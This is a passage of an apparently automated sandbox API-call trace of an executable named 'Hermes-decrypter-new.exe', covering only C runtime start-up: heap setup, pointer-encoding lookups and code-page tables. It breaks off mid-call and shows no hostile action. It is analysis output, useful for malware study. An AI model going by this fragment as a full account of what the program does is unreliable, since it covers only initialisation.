0x1 [0270.934] Sleep (dwMilliseconds=0x0) [0270.935] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x1) returned 0x1 [0270.935] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x2) returned 0x0 [0270.935] Sleep (dwMilliseconds=0x0) [0270.960] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x0) returned 0x0 [0270.960] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x4) returned 0x0 [0270.961] Sleep (dwMilliseconds=0x0) [0270.972] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x0) returned 0x0 [0270.972] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x8) returned 0x0 [0270.972] Sleep (dwMilliseconds=0x0) [0270.973] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x0) returned 0x0 [0270.974] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19efe4 | out: lpSystemTimeAsFileTime=0x19efe4*(dwLowDateTime=0x1b12eb47, dwHighDateTime=0x1d51252)) [0270.975] GetCurrentProcessId () returned 0xe08 [0270.975] GetCurrentThreadId () returned 0xe0c [0270.975] GetTickCount () returned 0x13321 [0270.975] QueryPerformanceCounter (in: lpPerformanceCount=0x19efdc | out: lpPerformanceCount=0x19efdc*=7865211877) returned 1 [0270.975] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xe60000 [0270.976] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0270.976] GetProcAddress (hModule=0x77190000, lpProcName="FlsAlloc") returned 0x771a4ae0 [0270.976] GetProcAddress (hModule=0x77190000, lpProcName="FlsGetValue") returned 0x771a4b20 [0270.976] GetProcAddress (hModule=0x77190000, lpProcName="FlsSetValue") returned 0x771a4b40 [0270.976] GetProcAddress (hModule=0x77190000, lpProcName="FlsFree") returned 0x771a4b00 [0270.976] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0270.976] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0270.977] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0270.977] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0270.977] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0270.977] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0270.977] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0270.977] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0270.978] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0270.978] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0270.978] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0270.978] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0270.978] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0270.978] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0270.979] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0270.979] GetProcAddress (hModule=0x77190000, lpProcName="DecodePointer") returned 0x772c1ec0 [0270.979] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x214) returned 0xe605a8 [0270.979] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0270.979] GetProcAddress (hModule=0x77190000, lpProcName="DecodePointer") returned 0x772c1ec0 [0270.980] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0270.980] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0270.980] GetProcAddress (hModule=0x77190000, lpProcName="DecodePointer") returned 0x772c1ec0 [0270.980] GetCurrentThreadId () returned 0xe0c [0270.980] GetCommandLineA () returned="\"C:\\FD1HVy\\Hermes-decrypter-new.exe\" " [0270.980] GetEnvironmentStringsW () returned 0xd3a738* [0270.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1410 [0270.980] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x582) returned 0xe607c8 [0270.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0xe607c8, cbMultiByte=1410, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1410 [0270.982] FreeEnvironmentStringsW (penv=0xd3a738) returned 1 [0270.982] GetStartupInfoA (in: lpStartupInfo=0x19ef34 | out: lpStartupInfo=0x19ef34*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\FD1HVy\\Hermes-decrypter-new.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0270.982] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x800) returned 0xe60d58 [0270.982] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0270.982] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0270.982] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0270.982] SetHandleCount (uNumber=0x20) returned 0x20 [0270.982] GetLastError () returned 0x0 [0270.982] SetLastError (dwErrCode=0x0) [0270.982] GetLastError () returned 0x0 [0270.983] SetLastError (dwErrCode=0x0) [0270.983] GetLastError () returned 0x0 [0270.983] SetLastError (dwErrCode=0x0) [0270.983] GetACP () returned 0x4e4 [0270.983] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x220) returned 0xe61560 [0270.983] GetLastError () returned 0x0 [0270.983] SetLastError (dwErrCode=0x0) [0270.983] IsValidCodePage (CodePage=0x4e4) returned 1 [0270.983] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19ef14 | out: lpCPInfo=0x19ef14) returned 1 [0270.983] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19e9e0 | out: lpCPInfo=0x19e9e0) returned 1 [0270.983] GetLastError () returned 0x0 [0270.983] SetLastError (dwErrCode=0x0) [0270.983] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x19e970 | out: lpCharType=0x19e970) returned 1 [0270.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0270.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x19e758, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0270.984] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x19e9f4 | out: lpCharType=0x19e9f4) returned 1 [0270.984] GetLastError () returned 0x0 [0270.984] SetLastError (dwErrCode=0x0) [0270.984] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0270.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0270.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x19e728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿߊ䧒픺CĀ") returned 256 [0270.984] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿߊ䧒픺CĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0270.984] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿߊ䧒픺CĀ", cchSrc=256, lpDestStr=0x19e518, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0270.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x19ecf4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xac\x57", lpUsedDefaultChar=0x0) returned 256 [0270.984] GetLastError () returned 0x0 [0270.984] SetLastError (dwErrCode=0x0) [0270.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0270.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x19e748, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿߊ䧒픺CĀ") returned 256 [0270.984] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿߊ䧒픺CĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0270.984] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿߊ䧒픺CĀ", cchSrc=256, lpDestStr=0x19e538, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0270.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x19ebf4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xac\x57", lpUsedDefaultChar=0x0) returned 256 [0270.985] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x44e528, nSize=0x104 | out: lpFilename="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe")) returned 0x22 [0270.985] GetLastError () returned 0x0 [0270.985] SetLastError (dwErrCode=0x0) [0270.985] GetLastError () returned 0x0 [0270.985] SetLastError (dwErrCode=0x0) [0270.985] GetLastError () returned 0x0 [0270.985] SetLastError (dwErrCode=0x0) [0270.985] GetLastError () returned 0x0 [0270.985] SetLastError (dwErrCode=0x0) [0270.985] GetLastError () returned 0x0 [0270.985] SetLastError (dwErrCode=0x0) [0270.986] GetLastError () returned 0x0 [0270.986] SetLastError (dwErrCode=0x0) [0270.986] GetLastError () returned 0x0 [0270.986] SetLastError (dwErrCode=0x0) [0270.986] GetLastError () returned 0x0 [0270.986] SetLastError (dwErrCode=0x0) [0270.986] GetLastError () returned 0x0 [0270.986] 